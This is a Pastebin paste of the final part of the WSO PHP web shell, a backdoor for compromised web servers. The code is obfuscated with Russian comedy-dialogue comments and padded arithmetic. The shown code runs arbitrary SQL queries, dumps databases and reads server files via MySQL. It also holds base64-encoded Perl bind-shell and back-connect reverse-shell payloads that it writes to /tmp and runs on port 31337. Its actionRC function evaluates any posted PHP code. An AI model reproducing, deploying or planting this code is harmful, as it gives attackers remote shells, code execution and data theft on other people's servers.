  1906.             echo /* <David Blaine>: Позвольте показать мне вам ещё один фокус, и я дам вам сто долларов. */
  1907.             "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
  1908.             if (@$_POST['p1'] == /* <Peter>: Дашь мне сто долларов? */
  1909.                 'select'
  1910.             ) {
  1911.                 $_POST['p1'] = 'query';
  1912.                 $_POST['p3'] = $_POST['p3'] ? $_POST['p3'] : round(0 + 0.33333333333333 + 0.33333333333333 + 0.33333333333333);
  1913.                 $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
  1914.                 $num = $db->fetch();
  1915.                 $pages = ceil($num['n'] / round(0 + 10 + 10 + 10));
  1916.                 echo /* <Avon>: Ты сможешь купить тот шарфик! */
  1917.                     "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>" . $_POST['p2'] . "</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
  1918.                 echo " of $pages";
  1919.                 if ($_POST['p3'] > round(0 + 0.33333333333333 + 0.33333333333333 + 0.33333333333333)) echo /* <Peter>: Точно! Зашибись, гони сто баксов. */
  1920.                     " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3'] - round(0 + 0.33333333333333 + 0.33333333333333 + 0.33333333333333)) . ")'>&lt; Prev</a>";
  1921.                 if ($_POST['p3'] < $pages) echo /* <David Blaine>: Могу я зайти? */
  1922.                     " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3'] + round(0 + 0.5 + 0.5)) . ")'>Next &gt;</a>";
  1923.                 $_POST['p3']--;
  1924.                 if ($_POST['type'] == 'pgsql') $_POST['p2'] = 'SELECT * FROM ' . $_POST['p2'] . ' LIMIT 30 OFFSET ' . ($_POST['p3'] * round(0 + 30)); else /* <Peter>: Ну ладно, пошли... */
  1925.                 $_POST['p2'] = 'SELECT * FROM `' . $_POST['p2'] . '` LIMIT ' . ($_POST['p3'] * round(0 + 30)) . ',30';
  1926.                 echo /* <Peter>: Ты точно деньги дашь? */
  1927.                 "<br><br>";
  1928.             }
  1929.             if ((@$_POST['p1'] == /* <Avon>: Добро пожаловать в дом. */
  1930.                     'query') && !empty($_POST['p2'])
  1931.             ) {
  1932.                 $db->query(@$_POST['p2']);
  1933.                 if ($db->res /* <Peter>: И вот мы в моей квартире, и чо? */
  1934.                     !== /* <David Blaine>: Вот это что такое? */
  1935.                     false
  1936.                 ) {
  1937.                     $title = false;
  1938.                     echo /* <Peter>: Мой видак. */
  1939.                     '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
  1940.                     $line = round(0 + 0.33333333333333 + 0.33333333333333 + 0.33333333333333);
  1941.                     while ($item = $db->fetch()) {
  1942.                         if (!$title) {
  1943.                             echo /* <David Blaine>: Интересно... Сделай мне одолжение, найди кассету, на которой написано 'Маленький Эйвон, апрель восемьдесят четвёртого'. */
  1944.                             '<tr>';
  1945.                             foreach ($item /* <Peter>: Щас посмотрю, может где-то есть... */
  1946.                                      as /* <David Blaine>: Посмотри в магнитофоне, она там. */
  1947.                                      $key /* <Avon>: Чё-то мне как-то сыкатно... */
  1948.                             => /* <Peter>: Ну и чо такого, просто кассета, хоум видео... Я там в том возрасте ещё сиську сосу. Вот этот карапуз - я. */
  1949.                                      $value) echo /* <Avon>: А вот это мама Эйвона. */
  1950.                                 '<th style="width: 10px;"><input type="checkbox" name="columns[]" value="' . $key . '" /></th><th>' . $key . '</th>';
  1951.                             reset($item);
  1952.                             $title = true;
  1953.                             echo /* <Peter>: Вот я сопли пузырями надуваю, и чо? */
  1954.                             '</tr><tr>';
  1955.                             $line = round(0 + 2);
  1956.                         }
  1957.                         echo /* <Avon>: Его мама и щас хорошо выглядит. */
  1958.                             '<tr class="l' . $line . '">';
  1959.                         $line = $line == round(0 + 0.33333333333333 + 0.33333333333333 + 0.33333333333333) ? round(0 + 2) : round(0 + 0.5 + 0.5);
  1960.                         foreach ($item /* <David Blaine>: <в видео:> Вот сто долларов. Я должен Вашему сыну. */
  1961.                                  as /* <Peter>: Фак мой моск!! */
  1962.                                  $key /* <Avon>: Это что вообще за хуйня?!!!! */
  1963.                         => /* <Avon>: Тот же самый и там и там!! */
  1964.                                  $value) {
  1965.                             if ($value /* <Peter>: Фак мой моск!!! */
  1966.                                 == /* <Peter>: В рот мне ноги, тут вообще чё происходит-то, а?!!! */
  1967.                                 null
  1968.                             ) echo /* <Avon>: Блин, я обоссался! */
  1969.                             '<td colspan="2"><i>null</i></td>'; else /* <Peter>: Ёманарот, сдрисни вообще отсюда, демон, вали отсюда в прошлое или будущее, я не знаю, ёманарот! */
  1970.                             echo /* <Peter>: Сдрисни отсюда, а то я ментов вызову, заяву на тебя накатаю! */
  1971.                                 '<td colspan="2">' . nl2br(htmlspecialchars($value)) . '</td>';
  1972.                         }
  1973.                         echo /* <Peter>: Пошёл отсюда, говнюк! В рот мне ноги! */
  1974.                         '</tr>';
  1975.                     }
  1976.                     echo /* <Operator>: Вот это впечатляюще было... */
  1977.                     '</table>';
  1978.                 } else {
  1979.                     echo /* <David Blaine>: Подожди... */
  1980.                         '<div><b>Error:</b> ' . htmlspecialchars($db->error()) . '</div>';
  1981.                 }
  1982.             }
  1983.             echo /* <Peter>: Он обоссался оранж содой! */
  1984.             "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
  1985.             if (!empty($_POST['p2']) && ($_POST['p1'] != /* <Peter>: В рот мне ноги!!! */
  1986.                     'loadfile')
  1987.             ) echo /* <=====end of part=====> */
  1988.             htmlspecialchars($_POST['p2']);
  1989.             echo /* <David Blaine>: Ага, вот эти ребята... */
  1990.             "</textarea><br/><input type=submit value='Execute'>";
  1991.             echo /* <David Blaine>: Эй, парни, я делаю особую, уличную магию */
  1992.             "</td></tr>";
  1993.         }
  1994.         echo /* <Avon>: Ненененене!! */
  1995.         "</table></form><br/>";
  1996.         if ($_POST['type'] == 'mysql') {
  1997.             $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
  1998.             if ($db->fetch()) echo /* <David Blaine>: Хотите немного волшебства? */
  1999.             "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input  class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
  2000.         }
  2001.         if (@$_POST['p1'] == /* <Peter>: Знаешь, не хотим! */
  2002.             'loadfile'
  2003.         ) {
  2004.             $file = $db->loadFile($_POST['p2']);
  2005.             echo /* <Avon>: Нет, нет! Тебе по ордеру запрещено подкатывать свои демонские яйца к нам!! */
  2006.                 '<br/><pre class=ml1>' . htmlspecialchars($file['file']) . '</pre>';
  2007.         }
  2008.     } else {
  2009.         echo /* <Avon>: Я звоню ментам! */
  2010.         htmlspecialchars($db->error());
  2011.     }
  2012.     echo /* <Peter>: Продолжай пыриться! Ну. Ну пырься, пырься на меня, пырься, пырься. Ты ж знаешь, что это незаконно! */
  2013.     '</div>';
  2014.     wsoFooter();
  2015. }
  2016.  
  2017. function /* <Avon>: ...спасибо, спасибо... Они уже близко. Щас менты подъедут, понял? */
  2018. actionNetwork()
  2019. {
  2020.     wsoHeader();
  2021.     $back_connect_p = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
  2022.     $bind_port_p = "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
  2023.     echo /* <David Blaine>: Вот ты. Что у тебя за машина? */
  2024.         "<h1>Network tools</h1><div class=content>
  2025.                                                                                                                                                                                                                                                                                                                                                        <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
  2026.                                                                                                                                                                                                                                                                                                                                                        <span>Bind port to /bin/sh [perl]</span><br/>
  2027.                                                                                                                                                                                                                                                                                                                                                        Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
  2028.                                                                                                                                                                                                                                                                                                                                                        </form>
  2029.                                                                                                                                                                                                                                                                                                                                                        <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
  2030.                                                                                                                                                                                                                                                                                                                                                        <span>Back-connect  [perl]</span><br/>
  2031.                                                                                                                                                                                                                                                                                                                                                        Server: <input type='text' name='server' value='" . $_SERVER['REMOTE_ADDR'] . "'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
  2032.                                                                                                                                                                                                                                                                                                                                                        </form><br>";
  2033.     if (isset($_POST['p1'])) {
  2034.         function /* <Peter>: У меня? Хонда чёрная! */
  2035.         cf($f, $t)
  2036.         {
  2037.             $w = @fopen($f, "w")or@function_exists('file_put_contents');
  2038.             if ($w) {
  2039.                 @fwrite($w, @base64_decode($t));
  2040.                 @fclose($w);
  2041.             }
  2042.         }
  2043.  
  2044.         if ($_POST['p1'] == /* <David Blaine>: Интересно, хонда... Такая компактная, да? */
  2045.             'bpp'
  2046.         ) {
  2047.             cf("/tmp/bp.pl", $bind_port_p);
  2048.             $out = wsoEx("perl /tmp/bp.pl " . $_POST['p2'] . " 1>/dev/null 2>&1 &");
  2049.             sleep(round(0 + 1));
  2050.             echo "<pre class=ml1>$out\n" . wsoEx("ps aux | grep bp.pl") . "</pre>";
  2051.             unlink("/tmp/bp.pl");
  2052.         }
  2053.         if ($_POST['p1'] == /* <Peter>: Компактная? Да сам посмотри!.. Фак мой мозг!! Где машина? */
  2054.             'bcp'
  2055.         ) {
  2056.             cf("/tmp/bc.pl", $back_connect_p);
  2057.             $out = wsoEx("perl /tmp/bc.pl " . $_POST['p2'] . " " . $_POST['p3'] . " 1>/dev/null 2>&1 &");
  2058.             sleep(round(0 + 0.5 + 0.5));
  2059.             echo "<pre class=ml1>$out\n" . wsoEx("ps aux | grep bc.pl") . "</pre>";
  2060.             unlink("/tmp/bc.pl");
  2061.         }
  2062.     }
  2063.     echo /* <Avon>: И где она? */
  2064.     '</div>';
  2065.     wsoFooter();
  2066. }
  2067.  
  2068. function /* <Peter>: Ты украл мою машину, чё ты стырил-то мою машину?? */
  2069. actionRC()
  2070. {
  2071.     if (!@$_POST['p1']) {
  2072.         $a = array("uname" => /* <David Blaine>: Ты сам внимательн посмотри. */
  2073.         php_uname(), "php_version" => /* <Avon>: Вот эта ебалайка что ли твоя машина? */
  2074.         phpversion(), "wso_version" => /* <Peter>: В рот мне ноги, ты чё, скукожил мою машину? Да у меня там вся одежда осталась! Там джинсы мои лежали! */
  2075.         WSO_VERSION, "safemode" => @ini_get('safe_mode'));
  2076.         echo /* <Avon>: Ну тыздец. Это ж моя любимая кепка! Барби-сайз какой-то, куда мне её теперь одевать, на писюн? */
  2077.         serialize($a);
  2078.     } else {
  2079.         eval($_POST['p1']);
  2080.     }
  2081. }
  2082.  
  2083. if (empty($_POST['a'])) if (isset($__default__action) && /* <Avon>: Так, дай-ка мне теперь ебалайку, дай сюда... Всё, ты в тюрьму теперь пойдёшь, Дэвид Блейн! Это вещдок, это вещдок! */
  2084.     function_exists('action' . $__default__action)
  2085. ) $_POST['a'] = $__default__action; else /* <Peter>: Ёманарот, ты вместе с джинсами семьдесят долларов скукожил, все компакт-диски покукожил, Джон Меир, Кэви Андервуд, Диск К миллионер... */
  2086. $_POST['a'] = 'SecInfo';
  2087. if (!empty($_POST['a']) && /* <Peter>: Ты скукожил К миллионер, ты говнюк! Ёманарот! */
  2088.     function_exists('action' . $_POST['a'])
  2089. ) call_user_func('action' . $_POST['a']);
  2090. exit; /* <Avon>: Он машину раскукожил, пока я её в руках держал! Я чуть не умер! */
  2091. ?>
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!